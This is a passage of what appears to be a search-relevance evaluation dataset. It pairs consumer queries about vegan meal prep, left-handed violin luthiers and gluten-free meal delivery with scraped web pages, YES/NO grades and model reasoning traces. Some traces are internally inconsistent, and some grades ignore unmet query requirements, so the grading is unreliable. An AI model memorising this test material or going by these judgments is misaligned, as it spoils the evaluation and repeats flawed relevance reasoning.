                "model_trace": "Query Decomposition:\n1. [vegan bodybuilder]: The document is about vegan meal delivery services, which is relevant to a vegan bodybuilder -> ([1], SATISFIED)\n2. [Los Angeles]: The document specifically mentions that it provides vegan meal delivery services in Los Angeles and its surrounding areas -> ([1], SATISFIED)\n3. [high-protein plant-based meal prep services]: The document does not specify if the meals are high-protein or catered towards fitness enthusiasts -> ([0], UNSURE)\n4. [cater to fitness enthusiasts]: The document does not mention catering specifically to fitness enthusiasts -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {vegan bodybuilder} and {Los Angeles}, both of which are satisfied. The document does not provide information on whether the meals are high-protein or specifically catered to fitness enthusiasts, but it does cover the vegan meal delivery aspect in Los Angeles. Given the user's likely interest in vegan meal delivery services in their area, this document is still helpful. YES."
            },
            {
                "grade": "NO",
                "title": "Best Bodybuilding Meal Delivery (2024) - Garage Gym Reviews",
                "url": "https://www.garagegymreviews.com/bodybuilding-meal-delivery",
                "published_date": null,
                "text": "We test and review fitness products based on an independent, multi-point methodology. If you use our links to purchase something, we may earn a commission. Read our disclosures.   If you\u2019re a bodybuilder (or just prefer bodybuilding workouts), you likely know that your nutrition plays a huge role in gaining muscle, leaning out, and sustaining energy. If you\u2019re looking to skip the hassle of the full-day meal-prepping experience, then it\u2019s time to check out our top picks for bodybuilding meal delivery services.\u00a0 Your friends at Garage Gym Reviews aren\u2019t just a bunch of fitness knuckleheads; we\u2019re staffed with certified personal trainers, professional athletes, and nutrition coaches. We\u2019re a group of industry experts who care about what we eat. And collectively, we tested over 40 different meal delivery services, from budget-friendly options to the best meal delivery service for families.\u00a0 For the best bodybuilding-style meal delivery, we wanted to consider certain factors that are specific to bodybuilding diets, such as:\u00a0  Macronutrient profile\u00a0 Portion size Price per meal Overall taste and texture\u00a0  Additionally, our top picks for bodybuilding meal delivery were also reviewed by our Garage Gym Reviews expert panelist, registered and licensed dietitian Perry Nix, RD, LD, to help us break down the pros and cons of each meal service.\u00a0  Medical disclaimer: This article is intended for educational and informational purposes only. It is not intended as a substitute for medical advice. For health advice, contact a licensed healthcare provider.  Best Bodybuilding Meal Prep Delivery Services   Best Overall Bodybuilding Meal Delivery: Trifecta   Best Organic Bodybuilding Meal Delivery: Fresh N Lean   Best Bodybuilding Meal Delivery for Bulk Food: ICON Meals   Best Paleo Bodybuilding Meal Delivery: Ice Age Meals   Best Fresh Bodybuilding Meal Delivery: Muscle Meals 2 Go   Best Bodybuilding Meal Delivery For Variety: Factor   Best Prepared Bodybuilding Meal Delivery: Snap Kitchen   Best Bodybuilding Meals for Dietary Restrict",
                "model_trace": "Query Decomposition:\n1. {vegan bodybuilder in Los Angeles}: The document does not specify vegan options or location-specific services -> ([0], UNSURE)\n2. {high-protein plant-based meal prep services}: The document mentions bodybuilding meal delivery services but does not specify if they are plant-based or high-protein -> ([0], UNSURE)\n3. {cater to fitness enthusiasts}: The document is about meal delivery services for bodybuilders, which implies catering to fitness enthusiasts -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponent related to catering to fitness enthusiasts but does not provide specific information about vegan, plant-based, or Los Angeles-specific services. Therefore, it does not fully meet the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Best Meal Prep and Delivery Services 2024, Reviewed | Epicurious",
                "url": "https://www.epicurious.com/expert-advice/every-meal-kit-delivery-service-in-america-article",
                "published_date": null,
                "text": "We live in a world of constant dinner innovation. And so our always-updated list of the best meal delivery services tracks that and has kits for all kinds of cooks\u2014whether you\u2019re Paleo, keto, vegetarian, or just a really big fan of Martha Stewart. Amazon may be coming for every single one of these companies as it dives further and further into the world of groceries, but for now here\u2019s a big list of the best meal kit delivery services in 2023.\u00a0 Read on to see the range of choices, or jump straight to the ones you think might be the best meal delivery service for you.\u00a0 Traditional Meal Kits    Home Chef     Sunbasket     Blue Apron     Gobble     Green Chef     Misfits Market     Martha &amp; Marley Spoon     Purple Carrot     Hungryroot     Dinnerly     Sakara \u00a0   Methodology     One Potato     Factor     HelloFresh     Veestro     EveryPlate     Fresh n\u2019 Lean     Snap Kitchen     FlexPro     FreshDirect     Territory \u00a0   Foodflo     CookUnity     Mosaic     Home Chef\u2019s Fresh &amp; Easy     RealEats     Food for Longevity     Amazon Fresh Meal Kits    Kids Meal Kits\u00a0 30.  Little Spoon \u00a031.  Nurture Life \u00a032.  Tiny Organics   Smoothie-centered Meal Kits\u00a0 33.  Daily Harvest \u00a034.  Splendid Spoon  35.  Revive Superfoods   Meat, Vegan Meat, Poultry, and Seafood Delivery Kits\u00a0 36.  Crowd Cow \u00a037.  ButcherBox \u00a038.  Very Good Butchers \u00a039.  Pasturebird \u00a040.  Citarella     Traditional Meal Kits    1. Home Chef     PAUL SIRISALEE PHOTOGRAPHY  With more than 25 customizable chef-designed recipes available each week, easy-to-follow recipe cards, and fresh ingredients, Home Chef strives to keep things interesting. It offers Culinary Collection meals that include upgraded proteins and upscale techniques, as well as no-prep options for getting dinner on the table quickly, no-mess oven-ready meals, and \u201cfast and fresh\u201d meals. Meals start at $8.99 a serving plus shipping, and the company also offers extras including breakfasts, desserts, and appetizers that can work well for a light lunch or as a complement to your meal.\u00a0  Price ",
                "model_trace": "Query Decomposition:\n1. {vegan bodybuilder in Los Angeles}: The document does not specify services specifically for Los Angeles -> ([0], UNSURE)\n2. {high-protein plant-based meal prep services}: The document does mention meal prep services, but it is unclear if they are high-protein and plant-based -> ([0], UNSURE)\n3. {cater to fitness enthusiasts}: The document does not specify if the services cater to fitness enthusiasts -> ([0], UNSURE)\n\nAssessment: The document lists various meal prep and delivery services but does not provide specific information about high-protein plant-based options for fitness enthusiasts or services specific to Los Angeles. Therefore, it does not satisfy the key subcomponents of the query. NO."
            }
        ]
    },
    {
        "query": "I'm a left-handed violinist looking for custom-made instruments that accommodate my playing style. Any recommendations for luthiers specializing in left-handed string instruments?",
        "grid_pos": [
            3,
            3
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries are personalized, diverse, and challenging, focusing on consumer services and goods. They require understanding of specific user needs, niche markets, and specialized products, testing Exa's ability to provide relevant results for complex, personalized searches."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "P\u00c1GINA INICIAL | Meusite",
                "url": "https://www.rbaldez.com/",
                "published_date": "2016-01-01",
                "text": "WHATS APP: (27)99605-5858 P\u00c1GINA INICIAL A LUTHIERIA O LUTHIER O ATELIER MADEIRAS M\u00c9TODOS DE CONSTRU\u00c7\u00c3O GALERIA SERVI\u00c7OS DICAS CONTATO LINKS Mais Constru\u00e7\u00e3o \nRestaura\u00e7\u00e3o Reforma\nManuten\u00e7\u00e3o Guitarras\nViol\u00f5es\nContrabaixos",
                "model_trace": "Query Decomposition:\n1. {left-handed violinist}: The document does not mention left-handed instruments -> ([0], UNSURE)\n2. {custom-made instruments}: The document mentions construction, restoration, and maintenance of string instruments, so it likely includes custom-made instruments -> ([2], SATISFIED)\n3. {luthiers specializing in left-handed string instruments}: The document does not specify specialization in left-handed instruments -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {custom-made instruments}, which is satisfied. However, the document does not provide specific information about left-handed instruments or luthiers specializing in them. Given the user's specific need for left-handed instruments, the document does not fully meet the query's intent. NO."
            },
            {
                "grade": "YES",
                "title": "Nachbau von historischen Zupfinstrumentenaus der Zeit der Renaissance und des Barock",
                "url": "https://www.schossig-lautenbau.de/",
                "published_date": "2023-01-01",
                "text": "Nachbau von historischen Zupfinstrumentenaus der Zeit der Renaissance und des Barock\n\nIch baue f\u00fcr Sie nach historischen Vorlagen und auch nach Ihren eigenen W\u00fcnschen Renaissance- und Barocklauten, Barockgitarren, Theorben, Chitarroni, Arciliuti, Liuto attiorbato sowie Colascione. Auch Instrumente f\u00fcr Linksh\u00e4nder und f\u00fcr Veganer k\u00f6nnen Sie bei mir erwerben.\nIch freue mich auf Ihren Kontakt. \nI build renaissance and baroque lutes, baroque guitars, theorbos, chitarroni, arciliuti, liuto attiorbato as well as colascione according to historical originals and your own individual wishes. You can also buy instruments for left-handers and vegans from me.\nI am looking forward to your contact.",
                "model_trace": "Query Decomposition:\n1. {custom-made instruments}: The document mentions that the luthier builds instruments according to individual wishes -> ([1], SATISFIED)\n2. {accommodate left-handed playing style}: The document explicitly states that instruments for left-handers can be purchased -> ([1], SATISFIED)\n3. {recommendations for luthiers specializing in left-handed string instruments}: The document is about a luthier who builds instruments for left-handers -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied by the document. YES."
            },
            {
                "grade": "YES",
                "title": "Jonathan Hill Instrument Maker",
                "url": "https://www.jonathanhill-luthier.com/",
                "published_date": "1996-01-01",
                "text": "Maker of historical and modernstringed instruments\n\nViola d\u2019amore, Lira da braccio, Violin and Viol families, reflecting the beauty, craft skill and non-standardisation seen in historical instruments.\n\nMade-to-order Every part is made by hand to the musicians requirements with an unsurpassed attention to detail, resulting in an instrument perfectly suited to each player.\n\nHistorical Accuracy I continually measure and examine historical instruments in museums and collections around the world to inform my making, so that my instruments look, sound, and feel like the originals.\n\nTraditional decorative techniques I use a wide range of traditional decorative techniques such as carving, gilding, marquetry and inlay, creating artistically rich instruments that equal the depth of craft skill seen on early instruments.\n\n\u2018Supremely Resonant\u2019 My instruments are played and enjoyed by a growing list of professional and amateur musicians around the world. Check out some testimonials here;\n\n\u201cI base all of my designs on historical examples, taking inspiration from far and wide. I am continually surprised at how contemporary the results can be\u201d",
                "model_trace": "Query Decomposition:\n1. {left-handed violinist}: The document does not explicitly mention left-handed instruments -> ([0], UNSURE)\n2. {custom-made instruments}: The document states that every part is made by hand to the musician's requirements, indicating custom-made instruments -> ([1], SATISFIED)\n3. {accommodate my playing style}: The document mentions that instruments are made to the musician's requirements, which implies accommodation to individual playing styles -> ([1], SATISFIED)\n4. {recommendations for luthiers specializing in left-handed string instruments}: The document does not specifically mention a specialization in left-handed string instruments -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {custom-made instruments} and {accommodate my playing style}. Both of these subcomponents are satisfied. The document does not provide explicit information about left-handed instruments, but since it emphasizes customization to the musician's requirements, it is reasonable to infer that left-handed instruments could be accommodated.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "Help finding a left handed violin",
                "url": "https://www.violinist.com/discussion/thread.cfm?page=3535",
                "published_date": null,
                "text": "October 16, 2019, 12:55 AM \u00b7  \nHi all. New to the site. I am 50 and deciding to take up the violin. I am looking for a reasonably priced left handed student violin. I\u2019ve seen Gliga\u2019s site but I wouldn\u2019t mind one or two more options. I know the pickings are slim to none but I was hoping you all out there could help me out. Trying to keep the budget under $800. Just to be upfront. I will not play a traditional violin. I am dead lefty. I brush my teeth, write, throw, eat, play tennis with my left hand. All the activities that take finesse and accuracy. Just as using the bow requires from what I have read endlessly. Please I need genuine help for sources I can get a left handed violin other than Gliga. Any small luthiers, Chinese makers or whatever. Thank you in advance. \n \nReplies (62)\n \n \n This discussion has been archived and is no longer accepting responses. \n ||||I||||        Welcome, Guest! \u00b7 Register\n        Log In\n    * Blogs\n    * Discussion\n    * Shops\n    * Luthiers\n    * Teachers\n    * Newsletter\n  Menu\n      Discussion Forum - Instruments - Thread\n      Aaron Stein\n    Help finding a left handed violin\n    October 16, 2019, 12:55 AM \u00b7 Hi all. New to the site. I am 50 and deciding to take up the violin. I am looking for a reasonably priced left handed student violin. I\u2019ve seen Gliga\u2019s site but I wouldn\u2019t mind one or two more options. I know the pickings are slim to none but I was hoping you all out there could help me out. Trying to keep the budget under $800.\n    Just to be upfront. I will not play a traditional violin. I am dead lefty. I brush my teeth, write, throw, eat, play tennis with my left hand. All the activities that take finesse and accuracy. Just as using the bow requires from what I have read endlessly. Please I need genuine help for sources I can get a left handed violin other than Gliga. Any small luthiers, Chinese makers or whatever. Thank you in advance. Tweet\n    Replies (62)\n        Miguel Pitti\n      October 16, 2019, 2:14 AM \u00b7 Hi and welcome. I think Gewa makes some left handed violi",
                "model_trace": "Query Decomposition:\n1. [left-handed violinist]: The document is about finding a left-handed violin -> ([1], SATISFIED)\n2. [custom-made instruments]: The document mentions looking for reasonably priced left-handed violins but does not specify custom-made instruments -> ([0], UNSURE)\n3. [accommodate playing style]: The document does not specifically address accommodating a specific playing style beyond being left-handed -> ([0], UNSURE)\n4. [recommendations for luthiers specializing in left-handed string instruments]: The document mentions looking for sources for left-handed violins, including small luthiers, but does not provide specific recommendations for luthiers specializing in left-handed instruments -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {left-handed violinist} and {recommendations for luthiers specializing in left-handed string instruments}. While the document satisfies the first subcomponent, it does not provide specific recommendations for luthiers specializing in left-handed string instruments. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Special Order & Custom Build Violins & Violas",
                "url": "https://www.fiddleheads.com/special-order-custom-build-options-contact-us.html",
                "published_date": null,
                "text": "Fiddleheads has easy access to and can bring in other instruments by various makers by special order (pre-made models we don't have in stock) or special commission, bepsoke instruments (made to order from scratch to your specifications).\nViolins, violas, cellos, basses and their accessories\nVarious Sizes not in stock\nCustom Models such as Strad, Guarneri, Guadagnini, etc\nCustom Handedness\nSpecial requests regarding strings, fittings, varnish colour, unique carving, variations in setup, etc.\nPlease contact us with your requirements and provide extra details such as the size, maker, model, handedness (indicated by which hand bows the instrument) and any other information we need to provide you the instrument you desire.\nFiddleheads will notify you of the estimated wait time as you place your order and a 50% deposit will be required for us to start the order, with the balance due when it is about to ship to you.\n*Note that all special order instruments and accessories are provided as final sales and cannot be cancelled or refunded once started. Read more  financial policies here.  \n  Write Your Own Review \n \n \n \n \n \n \n \n Tell us what you think about this item:\n \n You're reviewing:Special Order and Custom Build Options: Contact Us\n Your Review\n Share your opinion with others by writing a detailed review\n \n \n \n \n \n \n \n \n  \nOver years of teaching violin and running a successful violin shop result in expansive knowledge I'm happy to share!\nNote: For the sake of brevity, I use the word violin in place of violin, viola, cello and bass.\nSkip to # - A - B - C - D - E - F - G - H - I - J - K - L - M - N - O - P - Q - R - S - T - U - V - W - X - Y - Z \n  #\n  1-piece or 2-piece back  -  I wrote a detailed article here, with photos, explaining the differences. Simply-put, a two-piece back the makers \"bookmatch,\" fancy talk for glue two halves of wood together following the grain, to make one solid back piece or plate. A one-piece back is special as it came from one, large solid plate of maple and is more decadent and, thus, mor",
                "model_trace": "Query Decomposition:\n1. {left-handed violinist}: The document mentions \"Custom Handedness\" and allows for special requests including handedness -> ([1], SATISFIED)\n2. {custom-made instruments}: The document discusses bespoke instruments made to order from scratch to the customer's specifications -> ([1], SATISFIED)\n3. {recommendations for luthiers specializing in left-handed string instruments}: The document does not specifically mention luthiers specializing in left-handed instruments but does mention custom handedness options -> ([2], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents. It provides information on custom-made instruments and mentions the possibility of custom handedness, which is relevant for a left-handed violinist. YES"
            },
            {
                "grade": "NO",
                "title": "Left handed violinists.",
                "url": "https://www.talkclassical.com/threads/left-handed-violinists.9721/",
                "published_date": null,
                "text": "hi id just like to mention a few things regarding left handed violinists as i am one ( and also the conversion process one might undertake). \nfirstly, i attempted to learn the instrument the traditional way but found that i couldnt develop a fluent bowing technique adequate to make me feel like i was making sufficient progress. it never occurred to me that it might even be possible to play left handed as id never seen nor heard of a single lefty violinist in existence. personally i write left handed, i play sports with a mixture of both right and left orientations so its not unnatural for me to use my left hand. \nafter approximately 4 years of collecting dust i decided one day to dig out my violin and investigate whether converting the violin to left hand would be viable after the reallisation that i might be better suited using my left hand as the bowing hand due to my existing preference for writing, playing tennis with the left etc . after a few searches (courtesy of that wonderland of commerce that is ebay) i purchased a peg shaver, 4 new pegs, and a special tool to re-ream the holes so that the pegs could be reversed (a lot of care is needed to be taken when re-reaming holes) . the pegs i notice definately need to be reversed so that i can avoid knocking the peg when playing notes close to the scroll on the fingerboard when playing the e string. in the \"right handed\" placement the peg knocks the 4th finger making it impossible to play F / F# without hitting wood. as for the bridge it is simply reversed so it isnt at all an issue (minor shaving when required). the curvature of the fingerboard is uniform from what ive read so another obstacle is successfully overcome. unfortunately from what ive read the soundpost is definately an issue but doesnt impact on the sound quality to the the detriment of the instrument too much (although if anybody believes this not to be the case let me know). i definately enjoy the sound from my converted violin as opposed to a custom made left handed \"GLIGA\" that ive also bought ",
                "model_trace": "Query Decomposition:\n1. [left-handed violinist]: The document is written by a left-handed violinist -> ([1], SATISFIED)\n2. [custom-made instruments]: The document mentions a custom-made left-handed \"GLIGA\" violin -> ([1], SATISFIED)\n3. [recommendations for luthiers specializing in left-handed string instruments]: The document does not provide recommendations for specific luthiers but discusses the process of converting a violin to left-handed and mentions a custom-made violin -> ([0], UNSURE)\n\nAssessment: The document satisfies the first two subcomponents but does not address the third key subcomponent, which is the primary intent of the query. Therefore, the document is not helpful for the user's specific request for luthier recommendations. NO."
            }
        ]
    },
    {
        "query": "As a digital nomad with celiac disease, what are the best gluten-free meal delivery services that ship internationally and offer long-term shelf-stable options?",
        "grid_pos": [
            3,
            3
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries are personalized, diverse, and challenging, focusing on consumer services and goods. They require understanding of specific user needs, niche markets, and specialized products, testing Exa's ability to provide relevant results for complex, personalized searches."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "The Good Kitchen - Healthy Meals Delivered",
                "url": "https://www.thegoodkitchen.com/",
                "published_date": "2022-09-06",
                "text": "Select your meals and delivery schedule \n We have gluten free, clean eating, paleo, ketogenic, autoimmune protocol, and Whole30-approved meals available. Select from weekly, bi-weekly, or monthly deliveries.\n\nWe cook and deliver \n Your meals will magically appear in a box on your doorstep. Expect your meals to arrive by the Friday following order cutoff.\n\nHeat, eat, and enjoy \n Start enjoying your first meal in less than 5 minutes. No cleanup required.\n\nWe are committed to changing the way people think about food.\n From the farms to your plate, our meals are crafted to be equal parts nutritious and delicious. At the heart of our chef-driven menu is an ethos of seasonality, sustainability, and tastiness. Now everyone has the power to eat well in order to live better.\n\nLife is too short to gather the right food, cook it, and clean up. Let us do it for you.\n We believe in the power of real food that is grown and raised, not engineered. We work diligently to provide meals free of gluten, soy and sugar that are as tasty as they are nutritious. And they are ready to heat-and-eat in just 4 minutes.\n\n\"As a working mom, making sure I am eating healthy & nutritious meals is a must in order for me to keep up with the busy pace of life. The Good Kitchen meals have given me back the gift of time. Knowing that I have a healthy dinner that meets all of my dietary needs when I get home has allowed me to enjoy the extra time with those that matter, my family!\"\n\nCHRISTINE QUINN\n\nCHARLESTON, SOUTH CAROLINA\n\n\"Meals from The Good Kitchen are the closest thing to eating my own cooking. (Sometimes better, sshhh.) I love browsing their delicious, hearty meals, knowing effortless dinners will magically show up on my doorstep every week. Whether you're on a Whole30 or looking to keep those healthy habits in your Food Freedom, TGK makes feeding your family easy... but no judgment if you hide a few meals in the back of the fridge just for you.\"\n\nMelissa Urban\n\nCo-Founder and CEO, Whole30\n\n\"These meals are delicious! I typically NEVER use my",
                "model_trace": "Query Decomposition:\n1. {digital nomad with celiac disease}: The document mentions gluten-free options, which is relevant for someone with celiac disease -> ([1], SATISFIED)\n2. {best gluten-free meal delivery services}: The document describes The Good Kitchen as a meal delivery service that offers gluten-free meals -> ([1], SATISFIED)\n3. {ship internationally}: The document does not contain information about international shipping -> ([0], UNSURE)\n4. {long-term shelf-stable options}: The document does not mention shelf-stable options, only ready-to-eat meals that need to be heated -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {digital nomad with celiac disease} and {best gluten-free meal delivery services}. Since both of these subcomponents are satisfied, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Froyda - gourmet organic, vegan, gluten-free, low FODMAP foods",
                "url": "https://froyda.de/",
                "published_date": "2023-04-25",
                "text": "How it works No time or desire to cook at times? Whether you're a flexitarian who wants to eat more vegetables, or you want to follow a 100% vegan, gluten-free or low FODMAP diet, Froyda offers delicious and balanced ready meals to make your everyday life easier.\n\nOrder Each Meal Box contains six or more delicious gourmet meals based on family recipes. All vegan, organic, gluten-free and low FODMAP.\n\nUnpack Your box is delivered directly to your home or office. Sustainably packaged. 100% recyclable. That's good for the environment.\n\nEnjoy Heat up briefly and enjoy. On its own or with your choice of cereal. Subscribe and save - order once and get discounted regular deliveries.\n\nTaster Packs\n\nWhat our customers say\n\nAnja, Munich \"Opened the first jar today and tried the korma curry - very, very tasty and easy to digest \ud83d\ude0b\ud83d\ude0a\ud83d\ude0d You really nailed it!\" (Translated from German)\n\nEwgenij, Berlin \"The curry dishes are really delicious. I just cooked rice with it and added some fresh vegetables. That's it. The contact with the froyda team was also very friendly. I have now ordered a second time. Super practical and quick to prepare in the home office. Thank you.\" (Translated from German)\n\nJohanna, Maishofen \"...we would like to tell you that your food tastes excellent! Even our youngest son is very enthusiastic about it! The packaging is very tastefully designed. We wish you good luck and success with your business!\" (Translated from German)\n\nCurry Meals\n\nSoups\n\nLet customers speak for us\n\nfrom 9 reviews\n\nFantastisch, wie immer! Einfach lecker und sooo bek\u00f6mmlich. Kann ich jedem nur weiter empfehlen. 04/25/2023 Tasty and as homemade All what I have oredered so far from Froyda is really tasty and as homemade. The portion is for me just perfect also. Right now, I wouldn't be able to provide any proposal for improvement. 04/03/2023 Really tasty and as homemade All what I have oredered so far from Froyda is really tasty and as homemade. The portion is for me just perfect also. Right now, I wouldn't be able to provide any proposal",
                "model_trace": "Query Decomposition:\n1. {digital nomad}: The document does not explicitly mention digital nomads -> ([0], UNSURE)\n2. {celiac disease}: The document mentions gluten-free options, which are relevant for someone with celiac disease -> ([1], SATISFIED)\n3. {best gluten-free meal delivery services}: The document describes Froyda as a meal delivery service offering gluten-free meals -> ([1], SATISFIED)\n4. {ship internationally}: The document does not mention international shipping -> ([0], UNSURE)\n5. {long-term shelf-stable options}: The document mentions ready meals but does not specify if they are long-term shelf-stable -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {celiac disease} and {best gluten-free meal delivery services}. Both of these subcomponents are satisfied by the document. Therefore, despite the lack of information on international shipping and long-term shelf-stable options, the document is still useful for the user's query. YES."
            },
            {
                "grade": "NO",
                "title": "Splendid Spoon",
                "url": "https://splendidspoon.com/",
                "published_date": "2021-07-01",
                "text": "You're busy, we\u2019re tasty.\n\nSave time. Eat well. Feel goooood.\n\nStirring up an appetite?\n\nWith grain bowls, soups, noodles and more, only clean, delicious meals dance to your table.\n\nGet Started\nGet Started\n\nStart Stirring\nStart Stirring\n\nGet the inside scoop\n\nSo grateful!\nAs a busy mom and healthcare provider, I can't express what a massive positive difference Splendid Spoon has made in my life.\n-Meghan\n\nA healthy, balanced diet!\nMy dad lives alone and doesn\u2019t always eat as well as we\u2019d like until Splendid Spoon! Now he gets healthy meals delivered to his door. Priceless!\n-Cheryl\n\nKeeps me feeling full all day\nI love the selection of flavors for both bowls and smoothies. I especially like the texture of the smoothies - no grittiness!\n-Nicole D.\n\nIt's so easy and nutritious.\nFabulous quality, healthy and delicious. We have been getting the lunch meals for several months now so we have our favorites but all are quite good.\n-Michael\n\nCustomer service is incredible\nI\u2019ve been ordering from Splendid Spoon for almost 2 years now. It\u2019s insanely convenient, tasty yet healthy food.\n-Megan\n\nThey are delicious and filling\nI have to say, there isn't a single menu item I don't like. I have my favorites, but they are all delicious and filling. \n-Elana\n\nI\u2019ve never been disappointed.\nI love the bowls and the smoothies. Keep up the good work, I look forward to your ever-increasing line of healthful and tasty bowls and smoothies!\n-Lawrence\n\nSplendid Spoon is AMAZING!\nI signed up because my work schedule is too busy to allow time to cook. SS solved that for me. The smoothies and bowls are delicious and convenient. \n-Jennifer\n\n\"Plant-based meals to your door, entrees so good, I never felt like I was missing out on anything.\"\n\n\u201cA tasty way to learn to love your veggies and find new ways to enjoy them in a super convenient way.\u201d\n\n\"Over the years, I've tried different meal delivery services and Splendid Spoon is by far my favorite.\"\n\n\"The plant-based meal subscription service makes healthy eating crazy easy with a huge selection of frui",
                "model_trace": "Query Decomposition:\n1. {digital nomad with celiac disease}: This document does not mention anything about being suitable for people with celiac disease -> ([0], UNSURE)\n2. {best gluten-free meal delivery services}: This document does not clearly state whether the meals are gluten-free -> ([0], UNSURE)\n3. {ship internationally}: There is no information about international shipping -> ([0], UNSURE)\n4. {offer long-term shelf-stable options}: There is no mention of shelf-stable options -> ([0], UNSURE)\n\nAssessment: The document does not provide sufficient information about gluten-free options, international shipping, or long-term shelf-stable options. Therefore, it does not satisfy any of the key subcomponents of the query. NO."
            },
            {
                "grade": "NO",
                "title": "Which meal delivery services offer gluten-free food? And ...",
                "url": "https://glutendude.com/gluten-free-meal-delivery-services/",
                "published_date": null,
                "text": "DUDE NOTE Jan. 2024: Be sure to check the comments below the post for updated info and other suggestions. \nI use to love dinner time as a kid. I\u2019d come home from school wondering what my mom had planned (this is before she got a job when I was 13). If I smelled spaghetti sauce, I was in high heaven. If I smelled liver and onions, I knew it was a night I\u2019d scatter my food around the plate, making it look like I at least ate something.\nLooking back, something else strikes me about the family dinners we\u2019d have, especially as I entered my teens. We\u2019d sit. We\u2019d take our time. And we\u2019d laugh. A lot. There was no huge rush to get up as soon as we were done. No computer to get to. No social media to check. It was\u2026nice.\nAs I got older, the meals together became less and less frequent and not always so fun either, but I\u2019m very thankful I have the memories.\nToday\u2026everyone is busy. Everyone is in a rush. But we all still need to eat. And that is where meal delivery services come into play. While I have never personally used one, I understand the appeal of it. No planning. No shopping. No cooking. Minimum cleaning.\nBut what about those of us with celiac disease? Are there meal subscription plans for us? And if they are gluten-free, does it still mean we can trust them. Well\u2026I did some digging and I reached out to each company that I could find individually (15 in all). Here is the email I sent them\u2026\nHi folks. I have celiac disease and am looking for a home delivery meal prep service. Do you have gluten-free options and if so, can you please let me know what precautions you take to minimize the risk of cross-contamination? Many thanks.\n\u2026and below is what each company told me.\nDude Note: Please read the comments below the post to see people\u2019s experiences with some of these companies. Like anything with celiac, sometimes it can be hit or miss.\nBlue Apron\n We do not offer any gluten-free options. \n DUDE CONFIDENCE LEVEL: 0 \nAll righty then! I will give them full credit for honesty and transparency. What\u2019s that? Honesty and transp",
                "model_trace": "Query Decomposition:\n1. {best gluten-free meal delivery services}: The document lists meal delivery services that offer gluten-free options -> ([1], SATISFIED)\n2. {ship internationally}: The document does not mention whether the services ship internationally -> ([0], UNSURE)\n3. {offer long-term shelf-stable options}: The document does not mention if the meal delivery services offer long-term shelf-stable options -> ([0], UNSURE)\n\nAssessment: The document satisfies the key subcomponent of listing gluten-free meal delivery services. However, it does not provide information about international shipping or long-term shelf-stable options, which are crucial for the user's query. Therefore, the document is missing essential information.\n\nNO"
            },
            {
                "grade": "NO",
                "title": "Gluten Free Travel: Eat Safely As a Celiac, Anywhere in the ...",
                "url": "https://www.legalnomads.com/gluten-free/",
                "published_date": null,
                "text": "I have celiac disease and was diagnosed in early 2000s, before awareness was as high as it is now. Knowledge of the disease is understandably low in many developing countries, but\u00a0myths also abound in the West. Celiac disease is an autoimmune disease, one that affects not just my stomach when I eat gluten, but also my joints, my skin, my mood, and my ability to function properly.\u00a0It is not an allergy; a wheat allergy is something different. \nWhen I embarked on my travels in 2008, I realized that needing to be strictly gluten free was an added stressor over and above the worries that crop up on the road. I started this blog around the same time, but rarely wrote about travel with celiac disease. I traveled with gluten free restaurant cards that I found and purchased or downloaded online, and tried my best.\nThe problem is, I still got sick when I used them as I traveled.\nSo in 2016, after hearing from others with celiac disease who struggled to eat safely on the road, I decided to build my own detailed cards. My cards would be longer, and more detailed, with special mention of cross-contact and cross-contamination, two issues that got me \u2018glutened\u2019 around the globe. \nI started with Japan, and built a very long guide to accompany the card. Initially, the cards were donation-only, but no one donated. Since I was paying for translations, and working many hours on the free guides that went with the cards, I decided to start charging for them.\nAs of 2023, I am offering 14 languages with several others (Croatian, Swedish, Khmer, etc) in the works for this year. \nI hope these cards help you stay safer when you travel, and give you more peace of mind to explore with joy.\n   Digital gluten free translation cards and celiac travel guides     Catalan (Spain) restaurant card (for Catalonia \u2013 Barcelona, Tarragona, Girona, etc)   Dutch restaurant card for the Netherlands   French restaurant card (for travel to France)   German restaurant card   Greek Restaurant card   Italian restaurant card   Japanese restaurant card   Latin Am",
                "model_trace": "Query Decomposition:\n1. {best gluten-free meal delivery services}: The document does not mention any meal delivery services -> ([0], UNSATISFIED)\n2. {ship internationally}: The document does not mention shipping services -> ([0], UNSATISFIED)\n3. {offer long-term shelf-stable options}: The document does not mention shelf-stable food options -> ([0], UNSATISFIED)\n4. {digital nomad with celiac disease}: The document is about traveling with celiac disease and offers gluten-free travel cards -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponent related to being a digital nomad with celiac disease but does not address the main aspects of the query, which are about meal delivery services, international shipping, and shelf-stable options. Therefore, it is not helpful for the user's specific needs. NO."
            },
            {
                "grade": "YES",
                "title": "Best Gluten-Free Meal Delivery (2024)",
                "url": "https://www.garagegymreviews.com/best-gluten-free-meal-delivery",
                "published_date": null,
